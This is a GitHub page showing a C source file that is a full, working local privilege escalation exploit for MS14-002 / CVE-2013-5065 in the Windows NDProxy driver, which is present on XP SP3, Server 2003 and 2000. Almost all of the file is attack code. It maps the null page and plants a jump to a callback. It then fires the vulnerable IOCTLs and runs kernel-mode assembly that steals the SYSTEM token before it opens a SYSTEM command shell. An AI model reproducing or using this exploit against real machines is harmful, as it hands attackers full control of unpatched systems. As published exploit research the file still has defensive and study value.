-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathMS14-002.c
319 lines (273 loc) · 8.23 KB
/
MS14-002.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
//
// An exploit for the MS14-002 / CVE-2013-5065 (KB2914368), written by dev_zzo.
//
// Affected systems:
// + Windows Server 2003 R2 SP2 (x86, x64?)
// + Windows XP SP3 (x86, x64?)
// + Windows 2000 SP4 (x86)
//
// What is the root cause of the vulnerability?
//
// It is caused due to an off-by-one error in the ndproxy!PxIODispatch() function
// when handling IOCTL requests 8FFF23C8 and 8FFF23CC.
// The error causes execution flow to be directed to a fixed address 0x00000038.
//
// References:
// [0] https://technet.microsoft.com/en-us/library/security/ms14-002.aspx
// [1] https://technet.microsoft.com/library/security/2914486
//
#include <Windows.h>
#include <Winternl.h>
#pragma comment(linker, "/entry:__mainCRTStartup")
#pragma comment(linker, "/subsystem:console")
#pragma comment(lib, "kernel32")
#define NTVER(maj, min, csd) ((maj << 24) | (min << 16) | (csd << 8))
// Windows 2000 SP4 UR1
//#define NTOS_TARGET_VER NTVER(5,0,4)
// Windows XP SP3
//#define NTOS_TARGET_VER NTVER(5,1,3)
// Windows Server 2003 R2 SP2
//#define NTOS_TARGET_VER NTVER(5,2,2)
#pragma function(memset)
void *memset(void *ptr, int v, size_t num)
{
char *p = (char *)ptr;
while (num--)
*p++ = 0;
return ptr;
}
static size_t __strlen(const char *s)
{
const char *p = s;
while (*p) ++p;
return p - s;
}
typedef int (__cdecl *pvsprintf)(char *buffer, const char *format, va_list argptr);
static pvsprintf vsprintf;
static void __puts(const char *text)
{
DWORD charsWritten;
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), text, __strlen(text), &charsWritten, NULL);
}
static int __printf(const char *fmt, ...)
{
char buffer[1024];
int length;
DWORD charsWritten;
va_list args;
va_start(args, fmt);
length = vsprintf(buffer, fmt, args);
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), buffer, length, &charsWritten, NULL);
va_end(args);
return length;
}
typedef NTSYSAPI NTSTATUS (NTAPI *PNTCREATEFILE)(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);
static PNTCREATEFILE _NtCreateFile;
typedef NTSYSAPI NTSTATUS (NTAPI *PNTALLOCATEVIRTUALMEMORY)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);
static PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory;
static void GrabNtdllRoutines(void)
{
HMODULE hNtdll;
hNtdll = GetModuleHandleA("ntdll.dll");
vsprintf = (pvsprintf)GetProcAddress(hNtdll, "vsprintf");
_NtCreateFile = (PNTCREATEFILE)GetProcAddress(hNtdll, "NtCreateFile");
NtAllocateVirtualMemory = (PNTALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
}
static NTSTATUS MapPageZero(SIZE_T Size)
{
PVOID BaseAddress = (PVOID)1;
return NtAllocateVirtualMemory((PVOID)-1, &BaseAddress, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
}
#if (NTOS_TARGET_VER == NTVER(5,0,4))
#define SYSTEM_PID 8
#define OFFSET_KPCR_KTHREAD 0x124
#define OFFSET_KTHREAD_KPROCESS 0x44
#define OFFSET_EPROCESS_UNIQUEPID 0x9C
#define OFFSET_EPROCESS_APLINKS 0xA0
#define OFFSET_EPROCESS_TOKEN 0x12C
#elif (NTOS_TARGET_VER == NTVER(5,1,3))
#define SYSTEM_PID 4
#define OFFSET_KPCR_KTHREAD 0x124
#define OFFSET_KTHREAD_KPROCESS 0x44
#define OFFSET_EPROCESS_UNIQUEPID 0x84
#define OFFSET_EPROCESS_APLINKS 0x88
#define OFFSET_EPROCESS_TOKEN 0xC8
#elif (NTOS_TARGET_VER == NTVER(5,2,2))
#define SYSTEM_PID 4
#define OFFSET_KPCR_KTHREAD 0x124
#define OFFSET_KTHREAD_KPROCESS 0x128
#define OFFSET_EPROCESS_UNIQUEPID 0x94
#define OFFSET_EPROCESS_APLINKS 0x98
#define OFFSET_EPROCESS_TOKEN 0xD8
#else
#error Please define NTOS_TARGET_VER.
#endif
static void TokenStealer(void)
{
__asm {
mov eax, fs:[OFFSET_KPCR_KTHREAD]
mov eax, [eax + OFFSET_KTHREAD_KPROCESS]
push eax
aplinks_loop:
mov eax, [eax + OFFSET_EPROCESS_APLINKS]
lea eax, [eax - OFFSET_EPROCESS_APLINKS]
cmp dword ptr [eax + OFFSET_EPROCESS_UNIQUEPID], SYSTEM_PID
jne aplinks_loop
mov eax, [eax + OFFSET_EPROCESS_TOKEN]
pop edx
mov [edx + OFFSET_EPROCESS_TOKEN], eax
}
}
static int PayloadExecuted = 0;
static void __stdcall Callback(void *p)
{
/* Executed in kernel mode */
PayloadExecuted = 1;
TokenStealer();
return;
}
static int SpawnCmd(void)
{
STARTUPINFOA StartInfo;
PROCESS_INFORMATION ProcInfo;
char ComSpec[128];
BOOL Success;
if (GetEnvironmentVariableA("ComSpec", ComSpec, sizeof(ComSpec)) == 0) {
return FALSE;
}
memset(&StartInfo, 0, sizeof(StartInfo));
StartInfo.cb = sizeof(StartInfo);
Success = CreateProcessA(
NULL,
ComSpec,
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartInfo,
&ProcInfo);
return Success;
}
static void Exploit(void)
{
HANDLE hDevice;
BOOL Success;
NTSTATUS Status;
UNICODE_STRING DeviceName;
OBJECT_ATTRIBUTES ObjAttrs;
IO_STATUS_BLOCK Iosb;
DWORD IoctlInputBuffer[0x15] = {
0x00000000U,
0x00000000U,
0x00000000U,
0x00000000U,
0x00000000U,
0x07030125U,
0x00000000U,
0x00000034U,
};
DWORD IoctlOutputBuffer[9];
DWORD BytesReturned;
PBYTE PageZero = NULL;
GrabNtdllRoutines();
__puts("\n[.] Opening the device... ");
DeviceName.Length = sizeof(L"\\Device\\NDProxy") - 2;
DeviceName.MaximumLength = sizeof(L"\\Device\\NDProxy");
DeviceName.Buffer = L"\\Device\\NDProxy";
InitializeObjectAttributes(&ObjAttrs, &DeviceName, 0, NULL, NULL);
Status = _NtCreateFile(
&hDevice, /* FileHandle */
FILE_GENERIC_READ, /* DesiredAccess */
&ObjAttrs, /* ObjectAttributes */
&Iosb, /* IoStatusBlock */
NULL, /* AllocationSize */
FILE_ATTRIBUTE_NORMAL, /* FileAttributes */
FILE_SHARE_READ|FILE_SHARE_WRITE, /* ShareAccess */
FILE_OPEN, /* CreateDisposition */
0, /* CreateOptions */
NULL, 0);
if (Status) {
__printf("FAILED.\n[!] NTSTATUS is: %p", Status);
return;
}
__puts("OK.");
__puts("\n[.] Mapping page zero... ");
Status = MapPageZero(0x1000);
if (Status) {
__printf("FAILED.\n[!] NTSTATUS is: %p", Status);
return;
}
PageZero[0x38] = 0xE9;
*(UINT_PTR *)&PageZero[0x39] = (UINT_PTR)&Callback - 0x3D;
__puts("\n[.] Invoking IOCTL 8FFF23C0... ");
Success = DeviceIoControl(
hDevice,
0x8FFF23C0U,
IoctlInputBuffer, /* lpInBuffer */
sizeof(IoctlInputBuffer), /* nInBufferSize */
IoctlOutputBuffer, /* lpOutBuffer */
sizeof(IoctlOutputBuffer), /* nOutBufferSize */
&BytesReturned, /* lpBytesReturned */
NULL);
if (!Success) {
__printf("FAILED.\n[!] GetLastError() says: %p", GetLastError());
return;
}
__puts("OK.");
__puts("\n[.] Invoking IOCTL 8FFF23C8... ");
Success = DeviceIoControl(
hDevice,
0x8FFF23C8U,
IoctlInputBuffer, /* lpInBuffer */
sizeof(IoctlInputBuffer), /* nInBufferSize */
IoctlOutputBuffer, /* lpOutBuffer */
sizeof(IoctlOutputBuffer), /* nOutBufferSize */
&BytesReturned, /* lpBytesReturned */
NULL);
if (!Success) {
__printf("FAILED.\n[!] GetLastError() says: %p", GetLastError());
return;
}
__puts("OK.");
__puts("\n[.] Checking whether payload was actually executed... ");
if (!PayloadExecuted) {
__puts("NOPE.\n[-] Sorry about this. Please report to the exploit author.");
return;
}
__puts("YEP.");
__puts("\n[.] Spawning the CMD shell... ");
Success = SpawnCmd();
if (!Success) {
__printf("FAILED.\n[!] GetLastError() says: %p", GetLastError());
return;
}
__puts("OK.");
__puts("\n[+] Exploit successful.");
}
void __mainCRTStartup(void)
{
__puts("\nExploit for MS14-002 / CVE-2013-5065\n");
__puts("More at: https://github.com/dev-zzo/exploits-nt-privesc \n");
__puts("\n[!] Exploit starting...");
Exploit();
__puts("\n[+] XOXO, dev_zzo.\n");
}